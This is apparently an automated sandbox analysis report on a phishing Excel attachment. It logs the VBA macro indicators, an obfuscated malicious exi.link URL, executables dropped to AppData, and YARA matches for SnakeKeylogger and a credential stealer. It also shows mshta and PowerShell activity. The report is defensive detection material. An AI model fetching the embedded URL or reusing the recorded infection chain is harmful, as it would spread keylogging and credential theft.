Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_009D50C9	17_2_009D50C9
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_009D49E8	17_2_009D49E8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_009D4308	17_2_009D4308
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_009D2B00	17_2_009D2B00
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_009D2130	17_2_009D2130
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_009D3C29	17_2_009D3C29
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_009D2121	17_2_009D2121
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_009D2A50	17_2_009D2A50
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_009D3548	17_2_009D3548
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_009D2E68	17_2_009D2E68
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 19_2_0021F080	19_2_0021F080
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 19_2_0021E910	19_2_0021E910
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 19_2_0021C1C8	19_2_0021C1C8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 19_2_00219CA8	19_2_00219CA8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 19_2_0021D088	19_2_0021D088
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 19_2_00215AB0	19_2_00215AB0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 19_2_0021E2F8	19_2_0021E2F8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 19_2_0021E558	19_2_0021E558
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 19_2_00A611A8	19_2_00A611A8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 19_2_00A611B8	19_2_00A611B8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 19_2_00A68340	19_2_00A68340
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 19_2_00A67698	19_2_00A67698
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 19_2_00A60880	19_2_00A60880
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 19_2_00A60890	19_2_00A60890
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 19_2_00A68828	19_2_00A68828
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 19_2_00A68818	19_2_00A68818
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 19_2_00A67AD0	19_2_00A67AD0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 19_2_00A67EF8	19_2_00A67EF8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 19_2_00A67F08	19_2_00A67F08
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0037E018	29_2_0037E018
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_003740F8	29_2_003740F8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00374968	29_2_00374968
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_003731B1	29_2_003731B1
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00379188	29_2_00379188
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00373A20	29_2_00373A20
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00378AA8	29_2_00378AA8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_003783CA	29_2_003783CA
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_003743C8	29_2_003743C8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00373482	29_2_00373482
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00376C80	29_2_00376C80
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00379D10	29_2_00379D10
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00373E28	29_2_00373E28
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00374699	29_2_00374699
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00377758	29_2_00377758
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00379FB0	29_2_00379FB0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0037F009	29_2_0037F009
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0037E008	29_2_0037E008
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0037D890	29_2_0037D890
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0037D881	29_2_0037D881
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0037F939	29_2_0037F939
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0037EB70	29_2_0037EB70
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0037F4A1	29_2_0037F4A1
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00375D00	29_2_00375D00
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00477C08	29_2_00477C08
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00478748	29_2_00478748
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00470040	29_2_00470040
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00474040	29_2_00474040
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00474050	29_2_00474050
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047F067	29_2_0047F067
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00472068	29_2_00472068
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00476068	29_2_00476068
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00476078	29_2_00476078
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047F078	29_2_0047F078
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00478C10	29_2_00478C10
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047A8C0	29_2_0047A8C0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_004790CA	29_2_004790CA
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_004704D8	29_2_004704D8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_004790D8	29_2_004790D8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_004744D8	29_2_004744D8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_004744E8	29_2_004744E8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047D880	29_2_0047D880
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047D890	29_2_0047D890
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00478090	29_2_00478090
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_004780A0	29_2_004780A0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047C0A8	29_2_0047C0A8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047A8B0	29_2_0047A8B0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047F540	29_2_0047F540
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047DD48	29_2_0047DD48
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047DD58	29_2_0047DD58
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047AD77	29_2_0047AD77
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00470970	29_2_00470970
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047C570	29_2_0047C570
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00474970	29_2_00474970
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00476502	29_2_00476502
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00472500	29_2_00472500
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00476510	29_2_00476510
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047F9F7	29_2_0047F9F7
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00474980	29_2_00474980
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047958F	29_2_0047958F
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047AD88	29_2_0047AD88
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047699A	29_2_0047699A
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00472998	29_2_00472998
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_004795A0	29_2_004795A0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_004769A8	29_2_004769A8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00476E40	29_2_00476E40
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047B240	29_2_0047B240
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047B250	29_2_0047B250
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00479A58	29_2_00479A58
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00479A68	29_2_00479A68
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00470E08	29_2_00470E08
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047FA08	29_2_0047FA08
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00474E08	29_2_00474E08
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047E211	29_2_0047E211
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00474E18	29_2_00474E18
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047E220	29_2_0047E220
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047CA32	29_2_0047CA32
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00472E30	29_2_00472E30
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00476E30	29_2_00476E30
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047CA38	29_2_0047CA38
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_004732C8	29_2_004732C8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_004772C8	29_2_004772C8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047E6DA	29_2_0047E6DA
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_004772D8	29_2_004772D8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047E6E8	29_2_0047E6E8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00471291	29_2_00471291
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_004712A0	29_2_004712A0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_004752A0	29_2_004752A0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_004752B0	29_2_004752B0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_004732BA	29_2_004732BA
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00475748	29_2_00475748
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00473750	29_2_00473750
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00477761	29_2_00477761
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00473760	29_2_00473760
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00477770	29_2_00477770
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047B707	29_2_0047B707
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047CF00	29_2_0047CF00
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047B718	29_2_0047B718
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00479F26	29_2_00479F26
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00479F30	29_2_00479F30
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00478739	29_2_00478739
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00471738	29_2_00471738
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00475738	29_2_00475738
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00471BC1	29_2_00471BC1
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047D3C8	29_2_0047D3C8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00475BD1	29_2_00475BD1
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00471BD0	29_2_00471BD0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00475BE0	29_2_00475BE0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047BBE0	29_2_0047BBE0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00473BE9	29_2_00473BE9
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047A3E8	29_2_0047A3E8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00478BFF	29_2_00478BFF
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00473BF8	29_2_00473BF8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047A3F8	29_2_0047A3F8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00477BF8	29_2_00477BF8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047EBA1	29_2_0047EBA1
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047EBB0	29_2_0047EBB0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_0047D3B8	29_2_0047D3B8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00500040	29_2_00500040
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00503240	29_2_00503240
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00506440	29_2_00506440
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00509640	29_2_00509640
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00501C60	29_2_00501C60
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00504E60	29_2_00504E60
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00508060	29_2_00508060
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00502C00	29_2_00502C00
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00505E00	29_2_00505E00
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00509000	29_2_00509000
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00500006	29_2_00500006
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00509630	29_2_00509630
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00501620	29_2_00501620
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00504820	29_2_00504820
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00507A20	29_2_00507A20
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00500CC0	29_2_00500CC0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00503EC0	29_2_00503EC0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_005070C0	29_2_005070C0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_005028E0	29_2_005028E0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_00505AE0	29_2_00505AE0

Source: SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx	OLE indicator, VBA macros: true
Source: tmp8AF2.tmp.12.dr	OLE indicator, VBA macros: true

Source: SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx	Stream path 'MBD0002FDB7/\x1Ole' : https://exi.link/JkAPbL]QxW1i\wOtt[mq\Ob~wH#,f`\ynlvmd9Qp /^>RVxoNVTVE*G3k^(h($v)}Nf0?BCDiuqIdAfwge14cJJEnjMoNRpdoQTFRYtad4B14QJori7vb9tg0otcJEvB37mV5FRfxjOccunpjBMPEczg3lKLDJz7Jl7t3Cor37l3EGCGox!Qx8}OL,Af;#i`2
Source: 44330000.0.dr	Stream path 'MBD0002FDB7/\x1Ole' : https://exi.link/JkAPbL]QxW1i\wOtt[mq\Ob~wH#,f`\ynlvmd9Qp /^>RVxoNVTVE*G3k^(h($v)}Nf0?BCDiuqIdAfwge14cJJEnjMoNRpdoQTFRYtad4B14QJori7vb9tg0otcJEvB37mV5FRfxjOccunpjBMPEczg3lKLDJz7Jl7t3Cor37l3EGCGox!Qx8}OL,Af;#i`2

Source: tmp8AF2.tmp.12.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: 12.2.sihost.exe.43da760.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 12.2.sihost.exe.43da760.5.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 12.2.sihost.exe.43da760.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 12.2.sihost.exe.441db80.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 12.2.sihost.exe.441db80.7.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 12.2.sihost.exe.441db80.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 12.2.sihost.exe.441db80.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 12.2.sihost.exe.441db80.7.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 12.2.sihost.exe.43da760.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 12.2.sihost.exe.441db80.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 12.2.sihost.exe.43da760.5.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 12.2.sihost.exe.43da760.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: sihost.exe PID: 3408, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: sihost[1].exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: sihost.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: bKVNuVuE.exe.12.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 12.2.sihost.exe.43da760.5.raw.unpack, B-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.sihost.exe.43da760.5.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.sihost.exe.43da760.5.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 12.2.sihost.exe.43da760.5.raw.unpack, B-.cs

Base64 encoded string: 'Yxx9G1k1Vx3FA0TKFEkiYt3oF5YJ2ut2rc/PxqpuHv7alCYYPONcqB8Tvfg1/Q3g'

Source: 12.2.sihost.exe.4335920.4.raw.unpack, v6YiYTTLP0FbJiwAyi.cs	Security API names: _0020.SetAccessControl
Source: 12.2.sihost.exe.4335920.4.raw.unpack, v6YiYTTLP0FbJiwAyi.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 12.2.sihost.exe.4335920.4.raw.unpack, v6YiYTTLP0FbJiwAyi.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 12.2.sihost.exe.4335920.4.raw.unpack, a6V721GHmT2eX5khYe.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winXLSX@44/42@91/14

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx

Jump to behavior

Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Mutant created: \Sessions\1\BaseNamedObjects\EzdASNdtodBtRNekVibVvQtTLNZ
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Mutant created: NULL

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR8249.tmp

Jump to behavior

Source: SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx	OLE indicator, Workbook stream: true
Source: 44330000.0.dr	OLE indicator, Workbook stream: true

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..!..............P..............................}..w.............................1......(.P..............3........!............. N..............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm.........................l....}..w.... N......\.......................(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..!..................................... N......}..w.............-Z........l......Y.....(.P.......................!.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm.........................l....}..w.... N......\.......................(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..!..................................... N......}..w.............-Z........l......Y.....(.P.......................!.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.............N.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..-Z........l......Y.....(.P............................. .......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..!..................................... N......}..w.............-Z........l......Y.....(.P.......................!.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.........................@.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..!..................................... N......}..w.............-Z........l......Y.....(.P.......................!.............................	Jump to behavior
